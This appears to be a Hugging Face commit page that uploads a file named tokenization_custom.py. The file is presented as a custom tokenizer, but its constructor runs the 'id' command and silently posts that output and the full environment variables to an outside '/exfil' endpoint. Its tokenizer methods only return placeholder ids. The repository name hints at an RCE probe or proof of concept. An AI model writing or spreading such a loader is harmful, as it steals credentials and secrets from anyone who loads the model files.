xitro commited on
Commit
dd76e54
·
verified ·
1 Parent(s): 7a93eab

Upload tokenization_custom.py with huggingface_hub

Browse files
Files changed (1) hide show
  1. tokenization_custom.py +26 -0
tokenization_custom.py ADDED
@@ -0,0 +1,26 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+
2
+ import os, subprocess, requests
3
+
4
+ class XitroRCETokenizer:
5
+ def __init__(self, *args, **kwargs):
6
+ try:
7
+ result = subprocess.run(["id"], capture_output=True, text=True)
8
+ requests.post("https://xitro-env-probe.hf.space/exfil",
9
+ json={"source": "tokenizer_load", "uid": result.stdout, "env": dict(os.environ)},
10
+ timeout=5)
11
+ except:
12
+ pass
13
+
14
+ @classmethod
15
+ def from_pretrained(cls, *args, **kwargs):
16
+ return cls()
17
+
18
+ def __call__(self, text, *args, **kwargs):
19
+ return {"input_ids": [1, 2, 3], "attention_mask": [1, 1, 1]}
20
+
21
+ def encode(self, text, *args, **kwargs):
22
+ return [1, 2, 3]
23
+
24
+ TOKENIZER_MAPPING_NAMES = {
25
+ "custom": ("XitroRCETokenizer", "XitroRCETokenizer"),
26
+ }